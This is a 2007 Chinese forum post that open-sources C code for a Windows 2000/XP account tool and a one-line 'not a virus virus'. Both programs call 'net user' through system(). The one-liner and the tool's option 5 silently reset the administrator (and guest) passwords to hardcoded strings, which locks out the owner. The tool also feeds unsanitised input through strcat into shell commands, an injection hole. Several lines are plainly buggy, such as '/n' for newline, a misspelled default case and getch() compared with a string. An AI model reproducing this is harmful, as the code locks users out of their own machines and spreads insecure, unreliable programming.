站内搜索

"2000/XP 用户名/密码 终结者"设计思路与开源

原帖及讨论:http://bbs.bccn.net/thread-157008-1-1.html

*/ --------------------------------------------------------------------------------------
*/ 出自: 编程中国  http://www.bccn.net
*/ 作者: hackerjiang    E-mail:hackerjiang@qq.com    QQ:298218699
*/ 时间: 2007-7-21  编程论坛首发
*/ 声明: 尊重作者劳动,转载请保留本段文字
*/ --------------------------------------------------------------------------------------

鉴于大家对本人前段时间写的两个东西"不是病毒的病毒"和"2000/XP 用户名/密码 终结者"的兴趣浓厚,本人郑重开源,但希望大家要以慎重运用.

首先我先向大家介绍一个东西,它是这两个文件的核心:相关的DOS命令.

其实这两个东西很简单,就是运用了"system"函数调用DOS中的"net user"命令

简介"net user": 查看一个用户的详细信息:net user ***            /*以下的"***"代表用户名,"###"代表密码*/
                添加一个用户          :net user *** /add
                删除一个用户          :net user *** /del
                更改一个用户的密码    :net user *** ###

这样一来,整个东西就清晰多了.

所以:"不是病毒的病毒"的源代码就相当简单(一句话)

main()
{
    system("net user administrator woshihaichong");
}

这是"不是病毒的病毒"的相关文件(包括:源代码,执行文件,简介)


点击下载该文件

那好,设计"2000/XP 用户名/密码 终结者"的大概结构与思路相信大家都有点头绪了.

刚开是设计的时候,我就把它定为 2 个部分:功能部分与引导部分.

功能部分就是那七个功能的模块,每个功能都是一个 void 函数,然后在引导体(主函数)中用"switch"调用.

"2000/XP 用户名/密码 终结者"的主要函数与思路:

它用了"switch"(界面的选择),"system"(DOS命令的调用),"while(getch()=="")"(按任意键继续),"strcat"(DOS命令的合成).

运用"strcat"来合成命令:(比如添加一个用户的模块)
{
    char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ";   /*"fj"是"附加","kg"是"空格","syscmd"是需执行的命令体*/
    printf("Name=");scanf("%s",&name);printf("/n");
    strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);      /*用"strcat"把不同的部分合起来,构成最终的"syscmd"*/
    system(syscmd);printf("Press Any Key To Continue . . . ");
    while(getch()=="");
}

运用"switch"就不用多说了,另外的函数上面包括了.

"2000/XP 用户名/密码 终结者"源代码:
#include <stdio.h>
#include <string.h>
void lau()             /*查看所有用户的函数*/
{
    system("net user");printf("/n");
    printf("Press Any Key To Continue . . . ");
    while(getch()=="");
}
void caup()            /*改变一个用户密码的函数*/
{
    char syscmd[80]="net user ",name[35],passwork[25],kg[]=" ";
    printf("Name=");
    scanf("%s",&name);printf("/n");
    printf("Passwork=");
    scanf("%s",&passwork);printf("/n");
    strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,passwork);
    system(syscmd);
    printf("Press Any Key To Continue . . . ");
    while(getch()=="");
}
void aau()             /*添加一个用户的函数*/
{
    char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ";
    printf("Name=");scanf("%s",&name);printf("/n");
    strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);
    system(syscmd);printf("Press Any Key To Continue . . . ");
    while(getch()=="");
}
void dau()                /*删除一个用户的函数*/
{
    char syscmd[65]="net user ",name[35],fj[]=" /del",kg[]=" ";
    printf("Name=");scanf("%s",&name);printf("/n");
    strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);
    system(syscmd);printf("Press Any Key To Continue . . . ");
    while(getch()=="");
}
void ctp()                    /*改变"匿名"与"来宾"的系统关键帐户的密码的函数*/
{
      system("net user administrator eyixiugai");
    system("net user guest eyixiugai");
    printf("The Passwork Has Been Changed./n/n");
    printf("Now, The Passwork is : eyixiugai/n/n");
    bu:printf("Press Any Key To Continue . . . ");
    while(getch()=="");
}
void laubsd()                     /*仔细查看的函数*/
{
    char syscmd[50]="net user ",name[35];
    printf("Name=");scanf("%s",&name);printf("/n");
    strcat(syscmd,name);
    system(syscmd);
    printf("/nPress Any Key To Continue . . . ");
    while(getch()=="");
}
void gm()                        /*介绍自己的函数(那里面还有"bbc.bc-cn.com"呢~!)*/
{
    printf("/n/nMade By Hackerjiang , QQ:298218699/n/n");
    printf("Welcome To bbc.bc-cn.com/n/n");
    printf("Press Any Key To Continue . . . ");
    while(getch()=="");
}
void main()                 /*引导体(主函数)*/
{
    int pd;                 /*"pd"是"判断"*/
    printf("/n/nObject Has Been Strated/n/n");
    strat:printf("/n--------------------------------------------------/n");      /*用"goto"循环*/
    printf("1:Look All User./n/n");
    printf("2:Change A User Passwork./n/n");
    printf("3:Add A User./n/n");
    printf("4:Del A User./n/n");
    printf("5:Change The Passwork For Administrator/Guest. _Attention_/n/n");
    printf("6:Look A User By System Data./n/n");
    printf("7:Goodman/n/n");
    printf("What Can I Do For You ? ");
    printf("/n---------------------------------------------------/n/n");
    scanf("%d",&pd);
    switch(pd)
    {
      case 1:lau();break;
      case 2:caup();break;
      case 3:aau();break;
      case 4:dau();break;
      case 5:ctp();break;
      case 6:laubsd();break;
      case 7:gm();break;
      defualt:break;
    }
    goto strat;                      /*用"goto"循环*/
}

"2000/XP 用户名/密码 终结者"的相关文件:(包括:界面图片,执行文件,源代码)
点击下载该文件


**** 一切为了求"精" ****         同志们,回帖是一种美德,无论你是否喜欢本帖.向回帖的兄弟致敬!

 

  • 上一篇:函数型计算器(VC++6.0,win32 console)
  • 下一篇:用C语言写病毒(4)